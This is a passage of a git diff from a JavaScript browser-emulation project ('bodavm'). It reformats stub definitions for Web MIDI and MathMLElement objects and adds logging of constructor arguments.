"MIDIInputMap", "values", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MIDIMessageEvent.js b/env_xbb_lastest_jsdom/env/MIDIMessageEvent.js index 1ac10067..429ccc8a 100644 --- a/env_xbb_lastest_jsdom/env/MIDIMessageEvent.js +++ b/env_xbb_lastest_jsdom/env/MIDIMessageEvent.js @@ -1,6 +1,27 @@ -// MIDIMessageEvent对象 -bodavm.memory.globalobj['MIDIMessageEvent'] = function MIDIMessageEvent(){if (!(this instanceof MIDIMessageEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MIDIMessageEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIMessageEvent'], "MIDIMessageEvent"); -bodavm.memory.globalobj['MIDIMessageEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['MIDIMessageEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('MIDIMessageEvent', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIMessageEvent'].prototype, "MIDIMessageEvent", "data_get", arguments)}, set:undefined},'prototype'); +// MIDIMessageEvent对象 + +bodavm.memory.globalobj['MIDIMessageEvent'] = function MIDIMessageEvent() { + console.log_copy('MIDIMessageEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MIDIMessageEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MIDIMessageEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIMessageEvent'], "MIDIMessageEvent"); +bodavm.memory.globalobj['MIDIMessageEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['MIDIMessageEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('MIDIMessageEvent', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIMessageEvent'].prototype, "MIDIMessageEvent", "data_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MIDIOutput.js b/env_xbb_lastest_jsdom/env/MIDIOutput.js index a17b33cf..2b1c4fc0 100644 --- a/env_xbb_lastest_jsdom/env/MIDIOutput.js +++ b/env_xbb_lastest_jsdom/env/MIDIOutput.js @@ -1,6 +1,27 @@ -// MIDIOutput对象 -bodavm.memory.globalobj['MIDIOutput'] = function MIDIOutput(){if (!(this instanceof MIDIOutput)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIOutput'], "MIDIOutput"); -bodavm.memory.globalobj['MIDIOutput'].prototype.__proto__=bodavm.memory.globalobj['MIDIPort'].prototype; -bodavm.memory.globalobj['MIDIOutput'].__proto__=bodavm.memory.globalobj['MIDIPort']; -bodavm.toolsFunc.defineProperty('MIDIOutput', "send", {configurable:true, enumerable:true, writable:true, value:function send (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutput'].prototype, "MIDIOutput", "send", arguments)}},'prototype'); +// MIDIOutput对象 + +bodavm.memory.globalobj['MIDIOutput'] = function MIDIOutput() { + console.log_copy('MIDIOutput 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MIDIOutput)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIOutput'], "MIDIOutput"); +bodavm.memory.globalobj['MIDIOutput'].prototype.__proto__ = bodavm.memory.globalobj['MIDIPort'].prototype; +bodavm.memory.globalobj['MIDIOutput'].__proto__ = bodavm.memory.globalobj['MIDIPort']; +bodavm.toolsFunc.defineProperty('MIDIOutput', "send", { + configurable: true, + enumerable: true, + writable: true, + value: function send() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutput'].prototype, "MIDIOutput", "send", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MIDIOutputMap.js b/env_xbb_lastest_jsdom/env/MIDIOutputMap.js index 8d336938..30d07c76 100644 --- a/env_xbb_lastest_jsdom/env/MIDIOutputMap.js +++ b/env_xbb_lastest_jsdom/env/MIDIOutputMap.js @@ -1,10 +1,73 @@ -// MIDIOutputMap对象 -bodavm.memory.globalobj['MIDIOutputMap'] = function MIDIOutputMap(){if (!(this instanceof MIDIOutputMap)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIOutputMap'], "MIDIOutputMap"); -bodavm.toolsFunc.defineProperty('MIDIOutputMap', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIOutputMap', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIOutputMap', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIOutputMap', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIOutputMap', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "has", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIOutputMap', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIOutputMap', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "values", arguments)}},'prototype'); +// MIDIOutputMap对象 + +bodavm.memory.globalobj['MIDIOutputMap'] = function MIDIOutputMap() { + console.log_copy('MIDIOutputMap 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MIDIOutputMap)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIOutputMap'], "MIDIOutputMap"); +bodavm.toolsFunc.defineProperty('MIDIOutputMap', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIOutputMap', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIOutputMap', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIOutputMap', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIOutputMap', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIOutputMap', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIOutputMap', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "values", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MIDIPort.js b/env_xbb_lastest_jsdom/env/MIDIPort.js index 2dba95c1..20d5264c 100644 --- a/env_xbb_lastest_jsdom/env/MIDIPort.js +++ b/env_xbb_lastest_jsdom/env/MIDIPort.js @@ -1,15 +1,101 @@ -// MIDIPort对象 -bodavm.memory.globalobj['MIDIPort'] = function MIDIPort(){if (!(this instanceof MIDIPort)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIPort'], "MIDIPort"); -bodavm.memory.globalobj['MIDIPort'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['MIDIPort'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('MIDIPort', "connection", {configurable:true, enumerable:true, get:function connection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "connection_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIPort', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIPort', "manufacturer", {configurable:true, enumerable:true, get:function manufacturer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "manufacturer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIPort', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIPort', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIPort', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIPort', "version", {configurable:true, enumerable:true, get:function version (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "version_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIPort', "onstatechange", {configurable:true, enumerable:true, get:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "onstatechange_get", arguments)}, set:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "onstatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIPort', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIPort', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "open", arguments)}},'prototype'); +// MIDIPort对象 + +bodavm.memory.globalobj['MIDIPort'] = function MIDIPort() { + console.log_copy('MIDIPort 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MIDIPort)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIPort'], "MIDIPort"); +bodavm.memory.globalobj['MIDIPort'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MIDIPort'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MIDIPort', "connection", { + configurable: true, + enumerable: true, + get: function connection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "connection_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIPort', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIPort', "manufacturer", { + configurable: true, + enumerable: true, + get: function manufacturer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "manufacturer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIPort', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIPort', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIPort', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIPort', "version", { + configurable: true, + enumerable: true, + get: function version() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "version_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIPort', "onstatechange", { + configurable: true, + enumerable: true, + get: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "onstatechange_get", arguments); + }, + set: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "onstatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIPort', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIPort', "open", { + configurable: true, + enumerable: true, + writable: true, + value: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "open", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MathMLElement.js b/env_xbb_lastest_jsdom/env/MathMLElement.js index 64a06121..0f3afd8c 100644 --- a/env_xbb_lastest_jsdom/env/MathMLElement.js +++ b/env_xbb_lastest_jsdom/env/MathMLElement.js @@ -1,109 +1,1051 @@ -// MathMLElement对象 -bodavm.memory.globalobj['MathMLElement'] = function MathMLElement(){if (!(this instanceof MathMLElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MathMLElement'], "MathMLElement"); -bodavm.memory.globalobj['MathMLElement'].prototype.__proto__=bodavm.memory.globalobj['Element'].prototype; -bodavm.memory.globalobj['MathMLElement'].__proto__=bodavm.memory.globalobj['Element']; -bodavm.toolsFunc.defineProperty('MathMLElement', "onbeforexrselect", {configurable:true, enumerable:true, get:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforexrselect_get", arguments)}, set:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforexrselect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onabort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onbeforeinput", {configurable:true, enumerable:true, get:function onbeforeinput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforeinput_get", arguments)}, set:function onbeforeinput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforeinput_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onblur", {configurable:true, enumerable:true, get:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onblur_get", arguments)}, set:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onblur_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oncancel", {configurable:true, enumerable:true, get:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncancel_get", arguments)}, set:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncancel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oncanplay", {configurable:true, enumerable:true, get:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncanplay_get", arguments)}, set:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncanplay_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oncanplaythrough", {configurable:true, enumerable:true, get:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncanplaythrough_get", arguments)}, set:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncanplaythrough_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onclick", {configurable:true, enumerable:true, get:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onclick_get", arguments)}, set:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onclick_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onclose_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oncontextlost", {configurable:true, enumerable:true, get:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextlost_get", arguments)}, set:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextlost_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oncontextmenu", {configurable:true, enumerable:true, get:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextmenu_get", arguments)}, set:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextmenu_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oncontextrestored", {configurable:true, enumerable:true, get:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextrestored_get", arguments)}, set:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextrestored_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oncuechange", {configurable:true, enumerable:true, get:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncuechange_get", arguments)}, set:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncuechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ondblclick", {configurable:true, enumerable:true, get:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondblclick_get", arguments)}, set:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondblclick_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ondrag", {configurable:true, enumerable:true, get:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondrag_get", arguments)}, set:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondrag_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ondragend", {configurable:true, enumerable:true, get:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragend_get", arguments)}, set:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ondragenter", {configurable:true, enumerable:true, get:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragenter_get", arguments)}, set:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragenter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ondragleave", {configurable:true, enumerable:true, get:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragleave_get", arguments)}, set:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragleave_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ondragover", {configurable:true, enumerable:true, get:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragover_get", arguments)}, set:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragover_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ondragstart", {configurable:true, enumerable:true, get:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragstart_get", arguments)}, set:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ondrop", {configurable:true, enumerable:true, get:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondrop_get", arguments)}, set:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondrop_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ondurationchange", {configurable:true, enumerable:true, get:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondurationchange_get", arguments)}, set:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondurationchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onemptied", {configurable:true, enumerable:true, get:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onemptied_get", arguments)}, set:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onemptied_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onended", {configurable:true, enumerable:true, get:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onended_get", arguments)}, set:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onended_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onfocus", {configurable:true, enumerable:true, get:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onfocus_get", arguments)}, set:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onfocus_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onformdata", {configurable:true, enumerable:true, get:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onformdata_get", arguments)}, set:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onformdata_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oninput", {configurable:true, enumerable:true, get:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oninput_get", arguments)}, set:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oninput_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oninvalid", {configurable:true, enumerable:true, get:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oninvalid_get", arguments)}, set:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oninvalid_set", arguments)}},'prototype'); 